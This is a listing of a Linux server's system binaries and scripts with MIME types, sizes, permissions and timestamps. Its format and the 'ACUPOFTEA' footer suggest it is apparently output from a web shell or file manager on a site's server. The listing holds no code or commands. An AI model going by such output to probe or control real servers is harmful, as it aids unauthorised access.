pam_timestamp_check
application/x-pie-executable
14.24 KB
-rwxr-xr-x
2025-06-29 05:40:46
paperconfig
text/x-shellscript
3.55 KB
-rwxr-xr-x
2024-12-10 08:10:29
php-fpm8.4
application/x-pie-executable
5.77 MB
-rwxr-xr-x
2026-06-06 06:50:35
phpdismod
text/x-shellscript
7.11 KB
-rwxr-xr-x
2026-05-03 07:49:41
phpenmod
text/x-shellscript
7.11 KB
-rwxr-xr-x
2026-05-03 07:49:41
phpquery
text/x-shellscript
6.24 KB
-rwxr-xr-x
2026-05-03 07:49:41
pivot_root
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
postalias
application/x-pie-executable
22.23 KB
-rwxr-xr-x
2025-10-28 10:24:35
postcat
application/x-pie-executable
22.3 KB
-rwxr-xr-x
2025-10-28 10:24:35
postconf
application/x-pie-executable
195.82 KB
-rwxr-xr-x
2025-10-28 10:24:35
postdrop
application/x-pie-executable
22.35 KB
-r-xr-sr-x
2025-10-28 10:24:35
postfix
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2025-10-28 10:24:35
postfix-add-filter
text/x-script.python
4.84 KB
-rwxr-xr-x
2025-10-28 10:24:35
postfix-add-policy
text/x-script.python
3.77 KB
-rwxr-xr-x
2025-10-28 10:24:35
postfix-collate
text/x-perl
3.17 KB
-rwxr-xr-x
2025-10-28 10:24:35
postkick
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2025-10-28 10:24:35
postlock
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2025-10-28 10:24:35
postlog
application/x-pie-executable
14.38 KB
-rwxr-xr-x
2025-10-28 10:24:35
postmap
application/x-pie-executable
22.23 KB
-rwxr-xr-x
2025-10-28 10:24:35
postmulti
application/x-pie-executable
30.62 KB
-rwxr-xr-x
2025-10-28 10:24:35
postqueue
application/x-pie-executable
22.3 KB
-r-xr-sr-x
2025-10-28 10:24:35
postsuper
application/x-pie-executable
30.52 KB
-rwxr-xr-x
2025-10-28 10:24:35
posttls-finger
application/x-pie-executable
42.31 KB
-rwxr-xr-x
2025-10-28 10:24:35
poweroff
application/x-pie-executable
290.92 KB
-rwxr-xr-x
2026-04-13 07:38:05
pwck
application/x-pie-executable
58.38 KB
-rwxr-xr-x
2025-04-19 10:20:28
pwconv
application/x-pie-executable
54.26 KB
-rwxr-xr-x
2025-04-19 10:20:28
pwhistory_helper
application/x-pie-executable
22.24 KB
-rwxr-xr-x
2025-06-29 05:40:46
pwunconv
application/x-pie-executable
54.27 KB
-rwxr-xr-x
2025-04-19 10:20:28
qmqp-sink
application/x-pie-executable
18.23 KB
-rwxr-xr-x
2025-10-28 10:24:35
qmqp-source
application/x-pie-executable
22.24 KB
-rwxr-xr-x
2025-10-28 10:24:35
qshape
text/x-perl
12.54 KB
-rwxr-xr-x
2025-10-28 10:24:35
readprofile
application/x-pie-executable
34.42 KB
-rwxr-xr-x
2025-05-09 10:54:07
reboot
application/x-pie-executable
290.92 KB
-rwxr-xr-x
2026-04-13 07:38:05
remove-shell
text/x-shellscript
1.08 KB
-rwxr-xr-x
2025-07-27 11:01:22
resize2fs
application/x-pie-executable
62.3 KB
-rwxr-xr-x
2026-05-09 11:36:41
rmail
application/x-pie-executable
18.3 KB
-rwxr-xr-x
2025-10-28 10:24:35
rmmod
application/x-pie-executable
170.24 KB
-rwxr-xr-x
2025-04-25 09:50:41
rmt
application/x-pie-executable
63.19 KB
-rwxr-xr-x
2024-12-18 02:37:14
rmt-tar
application/x-pie-executable
63.19 KB
-rwxr-xr-x
2024-12-18 02:37:14
rtacct
application/x-pie-executable
114.53 KB
-rwxr-xr-x
2025-05-26 11:16:26
rtcwake
application/x-pie-executable
54.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
rtmon
application/x-pie-executable
118.52 KB
-rwxr-xr-x
2025-05-26 11:16:26
runlevel
application/x-pie-executable
290.92 KB
-rwxr-xr-x
2026-04-13 07:38:05
runuser
application/x-pie-executable
82.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
sendmail
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2025-10-28 10:24:35
service
text/x-shellscript
9 KB
-rwxr-xr-x
2025-08-20 01:39:01
setcap
application/x-pie-executable
14.23 KB
-rwxr-xr-x
2026-05-07 09:57:24
sfdisk
application/x-pie-executable
158.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
shadowconfig
text/x-shellscript
1.94 KB
-rwxr-xr-x
2025-04-19 10:15:06
shutdown
application/x-pie-executable
290.92 KB
-rwxr-xr-x
2026-04-13 07:38:05
smtp-sink
application/x-pie-executable
35.2 KB
-rwxr-xr-x
2025-10-28 10:24:35
smtp-source
application/x-pie-executable
30.25 KB
-rwxr-xr-x
2025-10-28 10:24:35
split-logfile
text/x-perl
2.36 KB
-rwxr-xr-x
2026-06-05 10:55:53
sshd
application/x-pie-executable
554.91 KB
-rwxr-xr-x
2026-05-06 12:33:32
start-stop-daemon
application/x-pie-executable
43.42 KB
-rwxr-xr-x
2026-03-06 03:01:23
sudo_logsrvd
application/x-pie-executable
313.16 KB
-rwxr-xr-x
2026-04-11 12:21:02
sudo_sendlog
application/x-pie-executable
191.76 KB
-rwxr-xr-x
2026-04-11 12:21:02
sulogin
application/x-pie-executable
58.39 KB
-rwxr-xr-x
2025-05-09 10:54:07
swaplabel
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
swapoff
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
swapon
application/x-pie-executable
58.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
switch_root
application/x-pie-executable
18.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
sysctl
application/x-pie-executable
30.31 KB
-rwxr-xr-x
2025-07-30 11:58:40
tarcat
text/x-shellscript
936 B
-rwxr-xr-x
2024-12-18 02:37:14
tc
application/x-pie-executable
579.7 KB
-rwxr-xr-x
2025-05-26 11:16:26
tcptraceroute
text/x-shellscript
1.56 KB
-rwxr-xr-x
2024-09-18 05:25:15
tcptraceroute.db
text/x-shellscript
1.56 KB
-rwxr-xr-x
2024-09-18 05:25:15
telinit
application/x-pie-executable
290.92 KB
-rwxr-xr-x
2026-04-13 07:38:05
tipc
application/x-pie-executable
170.67 KB
-rwxr-xr-x
2025-05-26 11:16:26
traceroute
application/x-pie-executable
75.3 KB
-rwxr-xr-x
2024-09-18 05:25:15
tune2fs
application/x-pie-executable
118.52 KB
-rwxr-xr-x
2026-05-09 11:36:41
unix_chkpwd
application/x-pie-executable
42.24 KB
-rwxr-sr-x
2025-06-29 05:40:46
unix_update
application/x-pie-executable
42.24 KB
-rwxr-xr-x
2025-06-29 05:40:46
update-ca-certificates
text/x-shellscript
5.54 KB
-rwxr-xr-x
2025-04-19 07:25:37
update-fonts-alias
text/x-shellscript
5.71 KB
-rwxr-xr-x
2024-04-18 12:50:02
update-fonts-dir
text/x-shellscript
3.98 KB
-rwxr-xr-x
2024-04-18 12:50:02
update-fonts-scale
text/x-shellscript
6.1 KB
-rwxr-xr-x
2024-04-18 12:50:02
update-gsfontmap
text/x-shellscript
390 B
-rwxr-xr-x
2025-10-05 07:09:15
update-locale
text/x-perl
3.02 KB
-rwxr-xr-x
2026-04-27 08:09:22
update-mime
text/x-perl
9.83 KB
-rwxr-xr-x
2024-11-11 11:56:25
update-passwd
application/x-pie-executable
38.49 KB
-rwxr-xr-x
2025-03-23 03:30:08
update-rc.d
text/x-perl
17.72 KB
-rwxr-xr-x
2023-11-24 12:34:19
update-shells
text/x-shellscript
3.97 KB
-rwxr-xr-x
2025-07-27 11:01:22
useradd
application/x-pie-executable
155.9 KB
-rwxr-xr-x
2025-04-19 10:20:28
userdel
application/x-pie-executable
111.06 KB
-rwxr-xr-x
2025-04-19 10:20:28
usermod
application/x-pie-executable
143.74 KB
-rwxr-xr-x
2025-04-19 10:20:28
validlocale
text/x-perl
1.73 KB
-rwxr-xr-x
2026-04-27 08:09:22
vdpa
application/x-pie-executable
122.73 KB
-rwxr-xr-x
2025-05-26 11:16:26
vigr
application/x-pie-executable
72.77 KB
-rwxr-xr-x
2025-04-19 10:20:28
vipw
application/x-pie-executable
72.77 KB
-rwxr-xr-x
2025-04-19 10:20:28
visudo
application/x-pie-executable
284.8 KB
-rwxr-xr-x
2026-04-11 12:21:02
vpddecode
application/x-pie-executable
14.51 KB
-rwxr-xr-x
2024-11-15 05:41:58
wipefs
application/x-pie-executable
50.38 KB
-rwxr-xr-x
2025-05-09 10:54:07
zic
application/x-pie-executable
62.32 KB
-rwxr-xr-x
2026-04-27 08:09:22
zramctl
application/x-pie-executable
134.51 KB
-rwxr-xr-x
2025-05-09 10:54:07
~ ACUPOFTEA - stevesummers.com.au